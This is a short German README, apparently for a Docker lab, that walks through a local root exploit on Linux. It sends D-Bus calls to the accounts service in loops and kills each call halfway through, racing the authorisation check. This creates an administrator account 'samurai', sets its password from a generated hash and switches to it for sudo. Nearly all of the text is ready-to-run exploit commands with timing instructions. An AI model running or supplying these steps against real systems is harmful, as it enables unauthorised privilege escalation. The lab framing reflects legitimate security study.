
von Mark, Qingchen Yu Um den Container zu erstellen
docker build -t <image tag of your choice> .
Um den Container auszuführen
docker run -it <image tag name>
starte mit start.sh
Ausführungszeit messen: Notiere die 'reale' Zeit und berechne die Hälfte davon.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
Erstelle einen Benutzer mit Sudo-Berechtigungen: Ersetze X.XXX durch die Hälfte der 'realen' Zeit von oben, da wir den Prozess in der Mitte unterbrechen wollen Der Befehl wird in einer Schleife 10000 Mal ausgeführt Möglicherweise musst du diesen Schritt mehrmals ausführen
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
Überprüfe die Benutzererstellung
id samurai
Es sollte anzeigen, dass der Benutzer 'samurai' existiert, und seine Berechtigungen zeigen. Falls nicht, führe Schritt 2 erneut aus.
Erzeuge einen Passwort-Hash: In diesem Fall lautet das Passwort 'iamsamurai' Notiere den erzeugten Hash.
openssl passwd -5 iamsamurai
Lege das Passwort für den neuen Benutzer fest: Ersetze X.XXX durch die Sleep-Dauer und 'Password Hash' durch den Hash aus Schritt 4. Ersetze UUUU durch die Benutzer-ID von 'samurai'
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
Wechsle mit dem Passwort, das du in Schritt 4 erstellt hast, zum neuen Benutzer.
su - samurai
Jetzt solltest du in der Lage sein, 'sudo mit diesem Benutzer' zu verwenden.